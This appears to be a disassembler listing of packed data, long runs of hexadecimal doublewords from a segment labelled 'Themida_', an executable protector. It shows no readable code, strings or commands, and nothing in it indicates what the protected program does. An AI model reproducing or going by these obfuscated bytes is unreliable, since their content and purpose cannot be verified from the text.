		dd 0A1B22229h, 57B176D3h, 2B065256h, 0D5B122BEh, 77280256h
		dd 0B2B65F2Bh, 0C5A1CF82h, 0A1841495h, 382F895Eh, 36EE6A65h
		dd 0ABB126BFh, 0BF44B056h, 46D0157Ah, 8BFBDAE1h, 151270F4h
		dd 3F2790DCh, 2CBE73D4h, 57B13253h, 7A0E3D36h, 0DA681937h
		dd 0EAB120D5h, 793A3D56h, 53B13256h, 5DB13251h,	942805DCh
		dd 0DE8DA1BDh, 0A4B0330Ah, 0D5B127DDh, 0EAA1DB56h, 0FDC43256h
		dd 90872523h, 5F4992DEh, 5152D9FCh, 0A809D49Bh,	0CB4ECDA9h
		dd 5B6B8D30h, 0EAB120BEh, 96458B56h, 0A3384800h, 0D6DF5F8Ch
		dd 0BAE7A73Bh, 0BEFA299Fh, 0ABB13251h, 0EB9132B8h, 0B35811A4h
		dd 75B48B37h, 53D13256h, 5DB1325Ah, 4B17D712h, 0D6466EA6h
		dd 94CC9547h, 0DA1AC137h, 0EAB138D8h, 75B4DB56h, 0AF9D3256h
		dd 0B402C518h, 514ECEF1h, 31D153AFh, 8AD6D8D7h,	0B472B930h
		dd 0E273CE9Fh, 0CABE5256h, 0BE353D94h, 3BB13256h, 0CF41B6EDh
		dd 0BB3ACB03h, 0ABB0B459h, 56443256h, 8A44CE92h, 75B2B359h
		dd 31D73256h, 52D1538Eh, 0AEB126DDh, 0D6BE5256h, 0ABB13256h
		dd 0D5B135BFh, 7D2CC956h, 0BBE3DF89h, 0B2F4B937h, 5DB13ABFh
		dd 35242256h, 6D7C39F3h, 0A7F40911h, 0D59EB059h, 0D1483256h
		dd 0F2BE2213h, 0BAB13273h, 5DB4DBAAh, 860E3256h, 90491D8Eh
		dd 0ABB1CE13h, 3C493256h, 0EAB13270h, 75B13ABFh, 7B2E3856h
		dd 5E2623C7h, 52F4F5E6h, 57B13257h, 0A0585336h,	3CB13256h
		dd 0EAB13250h, 0C2BBA972h, 53D0FCB0h, 5DB13245h, 8ED3CED1h
		dd 8F6E2E96h, 39A9ED0Ah, 342FE6C4h, 61A98A81h, 15D1CE13h
		dd 526A8D59h, 5DB13247h, 2498426Ch, 5CAABB4Ah, 72EC37FDh
		dd 8A5676CFh, 5BD06DB9h, 9CD15300h, 0BAB1325Ch,	0AF3D0826h
		dd 65EB06Fh, 5158A66Ch,	0AEB13256h, 0E3BB0A2Dh,	8A785331h
		dd 75B0B859h, 46443256h, 5DBDF037h, 0AEACB459h,	0D7BE3256h
		dd 0ABB13241h, 0D5B120BFh, 0D999B256h, 838B60B7h, 3566ECDBh
		dd 0FF8C591Ch, 5BF0BE69h, 57BDDB03h, 33A63256h,	0C32CFADAh
		dd 0B0968D33h, 993AA62Ah, 0BAB122BFh, 23324C56h, 494845BDh
		dd 0A1C555ECh, 1F80B341h, 2975B196h, 0EAB126BFh, 0B8B3DF56h
		dd 69AED19Dh, 0EF0F41DEh, 6691A84Dh, 0CDE48307h, 0A258520Ch
		dd 0C6B13256h, 6CBB1AA7h, 5FE50216h, 0BAB132BEh, 0B7306856h
		dd 0A8A8F195h, 926C8836h, 20BE5D86h, 0D5B13253h, 5C67B330h
		dd 0FED15340h, 0AB303DA5h, 0B4B13256h, 0AEB1325Ah, 864E65CAh
		dd 9D54A6BEh, 6B28F1BEh, 0E5780137h, 75B12BD0h,	0BAA5DB56h
		dd 0B8653256h, 864F2220h, 6040BA47h, 973D3E10h,	1866D29h
		dd 31829BBBh, 75BCDB36h, 207E3256h, 0E5B3B4FAh,	42FB74CBh
		dd 3179866Fh, 0CA827AEEh, 294D6FDFh, 91FC88DDh,	0F64D344Fh
		dd 3EBE3269h, 5DB130A6h, 0AEA9BD59h, 44583256h,	9CB13256h
		dd 95C7A7DBh, 28109816h, 0B4EDE878h, 3B07DD66h,	6232A9F4h
		dd 9B343DA9h, 58B13256h, 0ABB133D2h, 0D358C756h, 74B13256h
		dd 4C53DCA2h, 0AE76B1C4h, 5DB6DB36h, 3DEA3256h,	32D343Ah
		dd 9B42B330h, 0B4DA1D72h, 154E90BFh, 74323DA9h,	4FB13256h
		dd 5DB54DD5h, 0AEF4B659h, 0D7BE3256h, 0ABB1325Ah, 0D5B7BC59h
		dd 69BE3256h, 75B13256h, 0BABD4DD5h, 5D98B659h,	23BE3256h
		dd 57B1324Bh, 0ABA6B559h, 0C7583256h, 0ACB13256h, 13BAFAACh
		dd 0D68D99C2h, 0C0124A0Fh, 8091A2D9h, 57FADB5Eh, 54443256h
		dd 0DA4DCE13h, 0EAB135D0h, 0AB3A5256h, 0DB70B930h, 3DA5F5D5h
		dd 0AEB13EBFh, 9132F456h, 0BFA75821h, 2383E35Fh, 3D0C743h
		dd 8A4ECD49h, 0AC353DA3h, 52B13256h, 0AEB122D9h, 57BADB56h
		dd 462B3256h, 0AB564F49h, 6ED2CA31h, 65CEB1FEh,	0C353D53h
		dd 0B4B13256h, 0AEB13246h, 0C9150788h, 0CD9D0967h, 0D98C1761h
		dd 0BF10557Bh, 73A14DD5h, 0BA74B759h, 51583256h, 20B13256h
		dd 3D57E94Eh, 0EE4A78A9h, 9437A1A3h, 0EAB13CBFh, 0D8C83E56h
		dd 0C865E4F2h, 69A91394h, 0CE07D218h, 0A776B330h, 0EC3A53C8h
		dd 0D5B6DB52h, 7BAF3256h, 0EFA09806h, 79315208h, 3C42B9C6h
		dd 0CEBD6DDDh, 57B13BBEh, 0AF904456h, 0C1B593C2h, 6CBE4781h
		dd 75B13256h, 0AA3B3D0Eh
		dd 0B4B13256h, 0AEB1325Dh, 93A3385h, 3D2FF1A1h,	0B43EF120h
		dd 0EABFBA59h, 7C583256h, 63B13256h, 6EC1F6A4h,	0AE219D1Fh
		dd 57B1E5BFh, 0AD343D56h, 0B5B13256h, 253A5336h, 71F6B937h
		dd 31D0CB36h, 3DD13E09h, 2FBED8DCh, 57B13256h, 6A306437h
		dd 0C1D20B28h, 6C58530Fh, 9CB13256h, 0BAB13251h, 4684BDBEh
		dd 252E3081h, 44583611h, 58B13256h, 1246C0FCh, 0F4418592h
		dd 0ABA014C1h, 218ED65h, 23A12BCh, 0AEBFDB5Ah, 0EEBD3256h
		dd 4DACE913h, 924B2DE2h, 121C7735h, 15B56D7Dh, 0B502F3DDh
		dd 585AB137h, 2747B236h, 6867B330h, 0D432532Ah,	50BE3146h
		dd 0EAB1327Fh, 79313DAFh, 0B5B13256h, 5DB134DFh, 0AE343D56h
		dd 16B13256h, 0ABBEBB59h, 0DF583256h, 0F1B13256h, 87EA3E1h
		dd 25F01681h, 526819A8h, 0AEB129D0h, 42383D56h,	42B13256h
		dd 0D5B13246h, 0B63103E3h, 0DE11E371h, 0B3F7E86Eh, 7D1A7A95h
		dd 0AFB06EDFh, 57B134BFh, 21EC8E56h, 6D8B899Eh,	154ECDA9h
		dd 74363D36h, 46B13256h, 5DB48B37h, 0A5583256h,	0C3B13256h
		dd 9269005Dh, 0C6CB329Eh, 41422319h, 67353D36h,	52B13256h
		dd 5DB1325Ah, 0EA0EFED2h, 267EE76Bh, 0D7CC60B4h, 8109540Ch
		dd 0CA5853D9h, 9C4ECDABh, 0BAB13242h, 0D265BBA9h, 0CAB7B637h
		dd 0CD0ADA88h, 0AA343616h, 0D0FFE113h, 0AF3ACA37h, 7A78CAAAh
		dd 0BAB123D4h, 54585256h, 52B13256h, 0F5CAA54Fh, 0B9DA238Bh
		dd 0DA7253A3h, 0EAB13AD2h, 77343D56h, 0DAB13256h, 57586237h
		dd 67B13256h, 3C97F3ACh, 583367BFh, 3DD163D8h, 0EAB1325Fh
		dd 1622B218h, 4AE685E7h, 5DB6DA28h, 0F71F3256h,	6EF4D54Ch
		dd 0CDE96865h, 1A85F8D7h, 61D16137h, 1448B9A4h,	0BAB1DAA3h
		dd 0DCEB3256h, 0B77696BCh, 0DCBE5250h, 0ABB13256h, 0BB0F8830h
		dd 67BE5237h, 75B13253h, 75CB92EDh, 5DB8DB40h, 0F8483256h
		dd 19BE0096h, 0CA7BA7DFh, 0AE42A8DBh, 344344Fh,	75B13251h
		dd 18AD876Ah, 0E5B1A5FEh, 0AEB13232h, 57B13EBFh, 1822E256h
		dd 4D799366h, 2A8A561h,	0F4D7527Ah, 52615F88h, 5DB13242h
		dd 43B3FF35h, 149D7401h, 0EF61501Ah, 85C50B7Ah,	3556F621h
		dd 14E96A05h, 0BAB475BEh, 563ACE56h, 0A17009AAh, 57B13AD0h
		dd 0A9373D56h, 0B5B13256h, 0E9333D37h, 15B13256h, 295853A3h
		dd 3DB13256h, 0AC343DA3h, 0DDB13256h, 0E0B25397h, 148AC752h
		dd 0EA0FB059h, 76493256h, 0B158221Dh, 8EB13256h, 3EAA9237h
		dd 2715A50Ah, 6A8A8805h, 0D58DB059h, 0FE583256h, 0BFB13256h
		dd 886B0EAFh, 0D934EBA7h, 0D6FBD88Ch, 0A7FF766Ch, 42F47FD9h
		dd 0D5B13272h, 0EAA9BF59h, 66583256h, 51B13256h, 58577EB1h
		dd 15FA46FCh, 0ABA21389h, 17E88A18h, 4F589CB3h,	1FB13256h
		dd 75B1A6BFh, 5BE5256h,	5F3C3D80h, 0FEB13256h, 0DDBE530Fh
		dd 0ABB13250h, 160E3D36h, 703C53AFh, 73AB4941h,	4669B336h
		dd 0D6A31953h, 2ABE538Fh, 57B13245h, 0ABBCBB59h, 0DD583256h
		dd 9CB13256h, 4A1BECC0h, 45568F12h, 1758C785h, 0CEB13256h
		dd 57B1B159h, 26BE3256h, 0D5B13255h, 8B42B930h,	0B8CA8DBh
		dd 0B5D1344Ch, 8D30C2E9h, 0CC3EA49Fh, 563C3D37h, 5EB13256h
		dd 0C558E1A9h, 65B13256h, 9AF384E8h, 0A033A0BEh, 3CC8EA24h
		dd 475BF918h, 57B13253h, 1C34F805h, 0DAD1699Dh,	0EAB131D9h
		dd 0A151B256h, 0FF7BB330h, 0D6D153C9h, 0F7D0CB9Ch, 57B139BFh
		dd 0BDC3F256h, 739C57BAh, 1678FD6Bh, 75BADB0Eh,	73993256h
		dd 41D2E281h, 7559CC86h, 58D1F1C0h, 0AD58E0E1h,	0A6B13256h
		dd 0D7C6ED77h, 9CE45380h, 0BAB13247h, 45EA23BBh, 2D6B3D48h
		dd 0C308EF6Ch, 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h
		dd 0E0B13256h, 9470D8D7h, 21BE344Fh, 57B13253h,	5EEF6036h
		dd 3C305237h, 0BF0BC9B3h, 75B13BBFh, 79D38356h,	0D4B9000Dh
		dd 5BD084C9h, 44595236h, 0F0B13256h, 3D705629h,	0BD77D1F2h
		dd 3FA235AFh, 0EAD694E1h, 3CD1DC76h, 6D30540Ch,	0DAD0B4F0h
		dd 0B2CAC1ECh, 903ACA50h, 0EAB6DB5Eh, 96663256h, 926D9B9Dh
		dd 5DB6DB99h, 0E8C63256h, 0F039851Ah, 0A4B6BB6Ch, 0D5B133D0h
		dd 61BECE56h, 75B13240h, 0BAA1BD59h, 56583256h,	46B13256h
		dd 0F7691185h, 177917FEh, 903A7A9Ch, 0AD38CA5Ah, 75B7DB52h
		dd 0BFBB3256h, 28ECBBD0h, 0CEA177DDh, 5159CADDh, 0A6B13256h
		dd 93C05938h, 0EABBDB40h, 0E8F93256h, 8ED799C0h, 7D3FFD9Ah
		dd 0E938530Dh, 5B3B3D5Ah, 0A4B13256h, 0D5B134D2h, 0EA383D56h
		dd 0FEB13256h, 0B5582613h, 71B13256h, 0D385EF81h, 81E60F28h
		dd 2D9A9E63h, 92381F91h, 5DBE5246h, 763A3D99h, 3AB13256h
		dd 3CD03D99h, 166BB836h, 75A67B9Ch, 694DFB37h, 52BE3246h
		dd 0EAB13257h, 154852AFh, 5A305436h, 4F597B2Ah,	0DBB13256h
		dd 5CB4735Ch, 6334273Bh, 1894754Ah, 3CF3B572h, 14D068FCh
		dd 0AB50B790h, 52F63445h, 0AEB133D1h, 4558CE56h, 82B13256h
		dd 0E16AA45Bh, 57BB4BF5h, 2F8D4BCBh, 14CEF755h,	2EAB5A8Ah
		dd 2ED19A41h, 8630F490h, 9D4F7541h, 3C04CD37h, 3B72148h
		dd 75B13242h, 296A21D0h, 4DDFE2BAh, 3A6B8490h, 0A5C4C7F9h
		dd 64E6DE3Eh, 0A982B7DBh, 15443440h, 79585286h,	38B13256h
		dd 46029E2Bh, 1D23B9F3h, 0BE105BF7h, 0ABB1325Fh, 0F98A03C8h
		dd 0D7940530h, 7AE3535Ah, 0BAB133D1h, 0D7BECE56h, 0AEB1325Bh
		dd 57B13ABFh, 628FAB56h, 0FB7F1FCBh, 3E3BBFD8h,	9CB72B2Bh
		dd 0BAB13245h, 2C0DD7CCh, 1B6C6CA7h, 0D4F80E5h,	0AB4412CBh
		dd 84265C77h, 0EAB134BFh, 0BD681856h, 459AC476h, 593A3D86h
		dd 0CEB13256h, 0DD05336h, 0AF3B3D36h, 0B3B13256h, 8B5B1BEEh
		dd 0A133BFAEh, 53B72B2Bh, 5DB1325Ah, 0F57EED3Fh, 0C2F1A378h
		dd 7EE4081Dh, 0D9F18559h, 0EAB4DB36h, 0A783256h, 318EB7D4h
		dd 853A53A6h, 0A14460A3h, 0A2EBC767h, 0AE58F155h, 90B13256h
		dd 0BADEE3EAh, 6C14B0DFh, 3CBE3445h, 5DB13251h,	0AEB0B659h
		dd 36443256h, 0CB44F1AAh, 1A305436h, 65BE7E06h,	0B13256h
		dd 0F516161h, 168Eh, 11E900h, 0D2340000h, 0A36D01DDh, 312039C0h
		dd 95C1BB05h, 521834D2h, 0E8F8h, 815A0000h, 19CC64EAh
		dd 0C0816006h, 3D35516Bh, 4149BF66h, 0DE961h, 4C00000h
		dd 8761D005h, 0AF260D39h, 0F1BDAF7h, 1980h, 14E900h, 0A270000h
		dd 0D93DE09Bh, 69269F39h, 657C8148h, 0A8689EBDh, 605263BDh
		dd 3890Fh, 0E9800000h, 6860F9Fh, 0F000000h, 84h, 828B6100h
		dd 61319A5h, 0C850Fh, 8D0F0000h, 6, 8B0Fh, 6DB90000h, 0F941C64Eh
		dd 0F60E1F7h, 28Fh, 0F616000h, 198Fh, 14E900h, 0E94E0000h
		dd 525EACB2h, 27121401h, 8E289577h, 0F686A82Bh,	5A61D001h
		dd 178D0Fh, 12E90000h, 0ED000000h, 0E9CFDD88h, 2903DE61h
		dd 489A33ABh, 0B964B798h, 303905ADh, 25F90000h,	7FFFFFFFh
		dd 5E9h, 4B3D8A00h, 8289BE22h, 61319A5h, 830F5AF5h, 1
		dd 880F59F8h, 1, 8D0FC3F8h, 1, 8A0F60FCh, 3, 66CEBF0Fh
		dd 613BD6BEh, 6052FC51h, 7E9h, 7E75A900h, 987818E5h, 14E8h
		dd 64001200h, 505DB220h, 0ED7281E6h, 1A233587h,	0EF6586E9h
		dd 615FF855h, 0E8h, 0EA815A00h,	619CD9Bh, 0C88BFCF9h, 5800Fh
		dd 8A600000h, 0E861F9D3h, 0FFFFFE8Ah, 0DE9h, 23ECD400h
		dd 6A898D83h
		dd 0AE9BC8h, 0D23368E0h, 60F1F7FCh, 0FBC88166h,	557BA63h
		dd 8B61007Fh, 1880FC2h,	0F8000000h, 0AE95Ah, 13250000h
		dd 55F67260h, 1B98DCB9h, 0F506059h, 8Dh, 12E85B00h, 9B000000h
		dd 7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 58FEB18Fh
		dd 0EE9C361h, 51000000h, 0CD5A8F0h, 0C137A2C5h,	43FF39F9h
		dd 60C08B71h, 7E9h, 95A8B000h, 534581E3h, 0C08B61F9h, 0E8E0Fh
		dd 9E90000h, 0DA000000h, 0FB360DAh, 0B173019h, 9200858Dh
		dd 0FFF90619h, 8B66F9D0h, 0D48060C1h, 0DE95Bh, 9ED90000h
		dd 0E2D7FB2Ch, 0A3E26888h, 6144890Fh, 0CC40858Dh, 6E90619h
		dd 75000000h, 32577986h, 1D85894Ch, 0F061309h, 186h, 0CE9FC00h
		dd 60000000h, 0C9B44806h, 3058EC7Bh, 8DCB375Ch,	19CD6A85h
		dd 0F60FC06h, 28Bh, 66F18B00h, 7AA3C381h, 0C9858961h, 0F061301h
		dd 882h, 28E0F00h, 60000000h, 0B8F561h,	0F5000000h, 840FC00Bh
		dd 158h, 0E185C6F9h, 56061311h,	0EE9h, 8CAFF500h, 29A2D51h
		dd 0E8CCBF04h, 681B6D09h, 0A9C530DFh, 0E9B5FFF5h, 6006131Eh
		dd 5BFA8B53h, 33858D61h, 0E906167Ch, 0Fh, 66DB989Ch, 7CC6A624h
		dd 0B57D8C0h, 0FF758D97h, 816060D0h, 3E212CEFh,	14E83Fh
		dd 872A0000h, 926D7638h, 25D80ED5h, 0BAEF8438h,	22B716DFh
		dd 615BFFF2h, 0F961C38Bh, 0DB816050h, 42CA5D98h, 2850Fh
		dd 61600000h, 398D8D61h, 0F506131Ah, 6AFCF851h,	66536004h
		dd 515FD38Bh, 615E5853h, 100068h, 0FE900h, 78350000h, 451458Fh
		dd 0F3E692C4h, 9853C12h, 0B9B5FF80h, 0F06130Bh,	58Fh, 0B7F96000h
		dd 0D0FF611Dh, 0E840Fh,	9E90000h, 3F000000h, 767C9CAEh
		dd 0B63A1259h, 0BB9BD8Bh, 0F600613h, 18Bh, 0F53FC00h, 615FDEB7h
		dd 603C7F03h, 0DE8h, 0F6C7C900h, 0E056D950h, 17C7606Eh
		dd 11E97558h, 1E000000h, 0D6ED1B7Bh, 3AB5CA63h,	1951E01Fh
		dd 0E842992h, 0D18B665Eh, 0F8C78161h, 60000000h, 0EE8h
		dd 7F1A4100h, 3F0F2EDh,	739BDB9Bh, 8B44D163h, 0EE805ECFh
		dd 47C761FDh, 2024h, 800FFC60h,	0Ch, 6850Fh, 850F0000h
		dd 0
		dd 2A2D9D8Dh, 0F600613h, 0E82h,	9E900h,	0BE020000h, 0DE65BF33h
		dd 0E902E83Fh, 11h, 4764756Fh, 1966663Dh, 37430549h, 10139558h
		dd 38B6135h, 0CE9h, 0DBCEF000h,	8139130Ch, 523E80C3h, 0FC00B21h
		dd 3B84h, 14E900h, 103C0000h, 4FFF5504h, 0BCF0854Dh, 0FEB9C752h
		dd 0F847F917h, 8BB843h,	81EF8A60h, 0F69F2CD3h, 4389613Ah
		dd 0EE904h, 67FE0000h, 78CD3178h, 6C8C5C77h, 4CE23C9h
		dd 234CF6B9h, 798D8D00h, 6A0619D1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8E9FC351h
		dd 743D1D70h, 0AA398A34h, 1FBD9D8Bh, 8D890613h,	6131BBDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4EC35141h
		dd 0FE8CDh, 1D140000h, 1F2D54B9h, 0AA6880BDh, 96930519h
		dd 0AD9D2911h, 5B061308h, 18DD85C7h, 5CFC0613h,	8B600000h
		dd 1313A595h, 31853106h, 61061317h, 305585C7h, 613h, 0B58B0000h
		dd 6131D01h, 31EDB5FFh,	0B5010613h, 6132C61h, 1D8995FFh
		dd 852B0613h, 6133489h,	95FF006Ah, 6130DA9h, 0CEBC08Bh
		dd 0ACD8CF46h, 1E2FCEBCh, 0E902B114h, 0D2758D8Dh, 6A0619h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0EF7550C3h, 0F9F6CE65h, 12E8EA90h, 1C000000h, 965903Ah
		dd 9D24F3A0h, 576C929Ah, 0B62DB54Fh, 158531F7h,	58061301h
		dd 10718D01h, 8D890613h, 6131BBDh, 2EB99D89h, 85C70613h
		dd 61318DDh, 61B0h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 7EC35141h, 18E8754Bh,	1E1F7825h, 359D8B04h
		dd 0C7061305h, 13305585h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E6FDBA45h
		dd 0E96E2B94h, 0Ch, 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh
		dd 0ED19D8Bh, 0B5FF0613h, 6131A95h, 0FFD9BF0Fh,	131D8995h
		dd 0C3B70F06h, 95FF006Ah, 6130DA9h, 49EBC08Bh, 22A8A756h
		dd 0E30A9FADh, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h, 0C7D40112h
		dd 94E8F9Bh, 0E32D105Bh, 636C9E99h, 9F389618h, 405BD92Fh
		dd 193340FFh, 65D84E5Ch, 0EF7E9FC1h, 8630A294h,	93E091CEh
		dd 0AF091AC3h, 49636BD0h, 8E87Fh, 32B90000h, 85FB8A2Eh
		dd 0CA8B895Eh, 0CE85Bh,	0C8140000h, 809F8395h, 218B42FAh
		dd 0BD898B07h, 6132EC9h, 2C38159h, 8B00006Bh, 13204D8Dh
		dd 6806h, 95290000h, 61305BDh, 0BABE665Fh, 3B048BA9h, 76E0EDBEh
		dd 2DE88172h, 0B5592505h, 46F08189h, 92EB2E6h, 131269B5h
		dd 0DAF08106h, 66717C91h, 489D08Bh, 3DBD893Bh, 0B061311h
		dd 1319D18Dh, 3EF8306h,	0BA664FF5h, 0FF81CFA3h,	0FFFF9588h
		dd 0FFB7850Fh, 9D09FFFFh, 6130A89h, 8E8h, 24CAF000h, 0E89898Ah
		dd 0E85FF844h, 6, 0DFFBF431h, 9D297461h, 61325CDh, 35C7815Eh
		dd 8B000060h, 1317898Dh, 0B9DB2B06h, 0ECD2748h,	663B34FFh
		dd 0A9CFC181h, 81C28A5Ah, 2EDBEDC2h, 8D89564Ah,	6130B85h
		dd 92F28159h, 293D6F72h, 132501BDh, 55F28106h, 0B865EDFAh
		dd 0E0A4Bh, 0E91F1489h,	8, 5D8C5BE5h, 0DEF3D29Ah, 0C4DBD09h
		dd 0EB830613h, 8112B104h, 0FFA088FBh, 1D850FFFh, 81000000h
		dd 26B98AEEh, 30E91Eh, 0ED0C0000h, 0CE3219B1h, 8CFBF385h
		dd 8B5298FDh, 6B7DBB91h, 4890Fh, 0B9660000h, 7DE968DBh
		dd 67FFFFFFh, 8117F674h, 60C0B431h, 0BA797319h,	32E92BB9h
		dd 68000000h
		db 18h,	74h, 27h
byte_5E96EF	db 0			; DATA XREF: Themida_:00590774o
		dd 0Bh dup(0)
		dd 0AB4E900h, 16680000h, 0E90619D6h, 0FFFA7328h, 19D6C768h
		dd 731EE906h, 0C768FFFAh, 0E90619D8h, 0FFFA7314h, 19D99368h
		dd 730AE906h, 1668FFFAh, 0E90619DBh, 0FFFA7300h, 19DC9668h
		dd 72F6E906h, 8468FFFAh, 0E90619DDh, 0FFFA72ECh, 0C8BAF515h
		dd 146E419Ch, 0C11F8C60h, 10723DD1h, 0C0227D64h, 537E1E10h
		dd 0C92E564Ch, 779400E2h, 0C2264E34h, 21E5F7E9h, 8D3C3FA9h
		dd 0F5200D42h, 894A6177h, 0F4CEDDFBh, 72E641DBh, 6EDA7266h
		dd 5E4494E8h, 2B7E0E2Ch, 0E13EA1F6h, 0E25A729Fh, 0FFBD7802h
		dd 4D5E7919h, 0AD466A4h, 0E1696D41h, 0BD780277h, 85F50345h
		dd 48CA0676h, 6A1Ch, 17FBE900h,	3F4B6077h, 4494E8D5h, 55F561A3h
		dd 4494E8E3h, 5C91A7D9h, 0D2DD31C2h, 371FE921h,	0D4664597h
		dd 0BD5D44C4h, 0F92B3EA1h, 3B5CC4B8h, 953CBD78h, 16BBC90Ah
		dd 2D8D4889h, 0BF9F0224h, 52FADEB2h, 0BD783BE6h, 0F68694D6h
		dd 48CA23C7h, 0EC8Bh, 0F7977B00h, 53C5C5DAh, 39BD7837h
		dd 0F4C60BA4h, 0CBE0F870h, 77D8FBFDh, 0FB894A61h, 377493D6h
		dd 38D84071h, 0A6EE0C9Fh, 1CA86942h, 0D991EFBCh, 4494E5A5h
		dd 6CB445A3h, 0ED05C71Dh, 0CB3D2DE8h, 0C1BB6BBEh, 2B57497Fh
		dd 1DCAF8CDh, 387DB870h, 0BBD74172h, 6B92D94Bh,	56DAFBBh
		dd 3936C4E7h, 7C14042Fh, 86F29A5Fh, 76BB6B92h, 0B4647634h
		dd 5EA43914h, 279FB3C1h, 0BD7884BDh, 43BF598Bh,	2F7926CBh
		dd 47E27C51h, 2E5437CFh, 4E42C74Ch, 422A4ABEh, 32CA42B7h
		dd 0AA432F79h, 0BCEECC05h, 722DD43Ch, 227D6410h, 0FF7401A9h
		dd 66634C70h, 84Eh, 60426D8Dh, 0ECD6D934h, 59476478h, 0E8DAD529h
		dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh,	0FADE86FCh
		dd 19FDCFB1h, 8D3E0771h, 0CDF8F542h, 5B455A77h,	0E8DAD127h
		dd 0DD48D2BDh, 0BDEAD179h, 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h
		dd 24EE1D8Dh, 9AB448CAh, 61000000h, 0FA146177h,	0D6BEF3B5h
		dd 0C84742Bh, 3320BAE5h, 94E5E599h, 0F0856344h,	0AC5E9318h
		dd 0F810845Eh, 31CB43B3h, 7781397Ah, 70BBC55Ah,	250D0088h
		dd 83EBC15Eh, 3C8E4368h, 0A1BB146Eh, 0E6FA9286h, 16C74CABh
		dd 5EC64D4h, 953C289Ah,	0F7D3810Ah, 153E70FFh, 79D74h
		dd 139C3E00h, 8728C5ADh, 18936919h, 8B24BAAAh, 1B846D15h
		dd 8705F9A5h, 174B356Ah, 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h
		dd 3E26923Ah, 1916428Dh, 455A77ECh, 0DAD1275Bh,	7B9000E8h
		dd 0B1478330h, 7A93FBA2h, 0BC3E7C35h, 0CF58058h, 289C5593h
		dd 1E5DBD0h, 822F7091h,	0E882F696h, 487A4494h, 0ED777882h
		dd 1C30665Ch, 0EA6277D4h, 4494EE7Eh, 1CCE1C4Eh,	0AC1C381Ch
		dd 4494EE38h, 0C04CCE10h, 3EA1F3C5h, 544071B3h,	0D989F7B4h
		dd 5567ACFFh, 44A239CEh, 5CB4BD1Dh, 21512F7Ch, 9D2FE4C7h
		dd 36322726h, 0C646D2Dh, 0B1E1BFECh, 0BCE45457h, 0B66DA655h
		dd 98A96E35h, 0F0DFBF63h, 2B2C13AFh, 0F456E4A4h, 0F35BEDE6h
		dd 0C9229219h, 3FD931E2h, 603040CBh, 0EBF86697h, 4C367593h
		dd 0D2CD349Ch, 0C34FE921h, 0BDB85025h, 0A5658E21h, 8E5CAE63h
		dd 67DFF365h, 363248FDh, 6E7F99CBh, 0F9DD59D4h,	0D2B8459h
		dd 746B67Dh, 7688084Ch,	0D6427839h, 773C236h, 7288BA28h
		dd 0E868D012h, 0A05A9714h, 73A410B8h, 52942807h, 0FB855AC8h
		dd 94CCC830h, 84AE8A24h, 0E0B8224Ah, 0E451E81Ch, 16B913AFh
		dd 0BB432317h, 0FE22ED1Dh, 0A8AC5232h, 0D6D6C928h, 22EB1A62h
		dd 2A74425Ah, 0D3C4D13Ah, 3D7F0315h, 8A339D9h, 0E8E9EFCBh
		dd 0EB636DD4h, 9D27822h, 59676A99h, 35530D7h, 86E50000h
		dd 0C16CF661h, 8C1FBD55h, 0E888FC8Ch, 3E804494h, 156CDCBCh
		dd 873EA1FAh, 21B7F407h, 473F9FE1h, 3A7B5491h, 0E5C3DB03h
		dd 3EF56CBDh, 48A9B3BCh, 4B6FBB0h, 524652C6h, 4A634EBAh
		dd 32D63E3Ch, 48823879h, 64FB5AB2h, 0C7F9467Fh,	0E04BD50Ah
		dd 8A445C78h, 4E572884h, 567B0F29h, 0D04C5439h,	0AAAEAA8Eh
		dd 0D1D9D22Ah, 28205167h, 4D9F1355h, 0A038DC5Eh, 0BED950Bh
		dd 6A6B2BA0h, 0F5DEE9DDh, 59DD4h, 139C3E00h, 8728C5ADh
		dd 18936919h, 8B24BAAAh, 1B846D15h, 8705F9A5h, 174B356Ah
		dd 8DF5EBC0h, 2F633D6Eh, 0DEF0D2D9h, 3026923Ah,	1916428Dh
		dd 0DD48D2ECh, 19F55D79h, 0E8F064E4h, 96C84494h, 0CD6B9F54h
		dd 0A1F55A3Dh, 0E50E503Eh, 619219EFh, 0C2BF8C52h, 8D896DB8h
		dd 3970189h, 2365BD78h,	1F927515h, 5688C74Dh, 0FE647C6Ch
		dd 0AC767445h, 0BC1C7882h, 408A25B9h, 0C4E70193h, 13E07E0Fh
		dd 348E1DBBh, 0FF0D9928h, 241BD42h, 0D2960000h,	0D179DD48h
		dd 3EACB446h, 8E06F234h, 1E463C63h, 2127ECB3h, 2D9D50B1h
		dd 0BD72C4BBh, 58994F91h, 9BF498A2h, 8D1C20BCh,	30EC5A6Bh
		dd 32868292h, 572DF378h, 0D7C0770Fh, 4D1E2h, 0BFF00A00h
		dd 535CB1E1h, 0C4E7056Dh, 5758B6DEh, 0C7D8F969h, 0DB71E5D9h
		dd 4B37A9F6h, 0F1A1FFACh, 432F911Ah, 429C06A5h,	315ACE3Eh
		dd 3532428Dh, 0DD48D208h, 0B446D179h, 0BC343EACh, 995A901Bh
		dd 4DECD2Bh, 7E337890h,	0F8B9F216h, 0A4FCC585h,	0A315B544h
		dd 99BD72C4h, 3B3FA167h, 48C0DC8Ch, 19ED2h, 61778300h
		dd 0DDFB894Ah, 0E838AC1Ch, 0CE104494h, 6CA506E6h, 59665C8Eh
		dd 54F464CFh, 3EA1F6C1h, 8328C34Bh, 265E7C4Eh, 0E86074E4h
		dd 0BD78027Ch, 0D3001A4Ch, 780243B9h, 0F0BB51BDh, 43B555C3h
		dd 39BD7802h, 56738B07h, 337480E2h, 0CE03C500h,	429AA717h
		dd 0DBC604ABh, 0C7F66673h, 1148CA68h, 64138505h, 0DEF9BD78h
		dd 0DEE624CDh, 0D1179876h, 33C947h, 0D27A0000h,	5D79DD48h
